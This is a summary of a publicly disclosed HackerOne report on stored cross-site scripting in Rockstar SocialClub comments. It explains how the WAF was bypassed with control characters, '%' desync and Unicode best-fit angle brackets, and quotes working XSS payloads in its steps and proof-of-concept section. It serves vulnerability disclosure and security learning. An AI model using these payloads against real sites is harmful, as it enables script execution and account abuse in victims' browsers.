# Stored XSS in Snapmatic + R★Editor comments

Stored XSS in Rockstar SocialClub comments via WAF bypass using control chars, %, and Unicode best-fit angle brackets that back-end normalized to '<'.

- Payout: hidden
- Severity: high
- Program: Rockstar Games
- Found by: europa
- Disclosed: 2018-04-19
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/309531
- Library page: https://bugbountylibrary.com/r/h1%3A309531
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:high tech:windows technique:incomplete-fix technique:parser-differential technique:unicode-normalization vuln:xss

**Target:** socialclub.rockstargames.com comment/newsfeed rendering (Snapmatic, R★ Editor)
**Root cause:** WAF and back-end filters failed to account for control characters, '%' confusion, and Unicode best-fit matching (full-width/small-form/CJK angle brackets) that downstream Windows codepage layers normalized into '<', producing unescaped HTML.
**Steps:**
1. Report #1: inject `<	` (control char after `<`) to evade WAF regex `<.*` and produce a tag.
2. Report #2: inject `<%&lt;script/src=//...?` — single `%` causes back-end to emit unescaped `<script/src=...` alongside escaped output.
3. Report #3: use `\uFE64%\uFF1Cscript/src=//...?` — full-width/small-form brackets best-fit to `<` after WAF.
4. Report #3 bypass of second fix: `\uFF1C%\uFE64input/autofocus onfocus\b='[1].find(alert)'` to trigger DOM event.
5. Report #4: chain eight tricks — `&<>lt;` to hide trigger words, `\u0025` for `%`, MathML `<math>`, control chars in tag names (`<m\bath`), `xml:base` for JS URI, quote injection, `href=#`, and `[bad.url.pls]` to escape badLink wrapper.
6. Final payload `&<>lt;%&<>lt;m\bath xml:base=\"j<>avascript:alert(document.domain)//\" href=#\"[bad.url.pls]` renders `<math xml:base="javascript:...">`.
7. Report #5: Snapmatic/R★ Editor use different flow; `U+3008` and `U+2329` best-fit to `<`, payload `〈script/src=//...?`.
**How found:** Iterative WAF probing over 6 months: noticed control chars unaccounted in `<.*` regex, then a single `%` caused anomalous unescaped output, then hypothesized Unicode best-fit normalization on Windows codepage stack and tested full-width/small-form/CJK bracket variants.
**Exploitation:** Attacker posts a crafted comment on SocialClub (newsfeed, Snapmatic, R★ Editor); stored payload executes in victims' browsers when the comment renders, allowing JS execution in the socialclub.rockstargames.com origin (alert(document.domain) demonstrated).
**Escalation:** Chained WAF bypass + back-end filter bypass + client-side JS filter bypass; also found payload rendering comments un-repliable/un-deletable.
**Insight:** When a WAF blocks `<` but a downstream layer normalizes Unicode (best-fit matching on Windows codepages), test full-width, small-form, CJK and miscellaneous-technical angle brackets; also test control chars inside tag names and `%` to desync WAF vs back-end escaping.

## Proof of concept (copied exactly from the original report)

**Report #4 eight-technique chained XSS payload**

```
&<>lt;%&<>lt;m\bath xml:base=\"j<>avascript:alert(document.domain)//\" href=#\"[bad.url.pls]` which produced `&lt%<math xml:base="javascript:alert(document.domain)//" href="#" x="" class="badLink">[bad.url.pls]
```

**Report #3 full-width/small-forms bypass payload**

```
\uFE64%\uFF1Cscript/src=//...?`, evaded the WAF and produced `&lt;%<script/src="//...?" class="badLink"
```

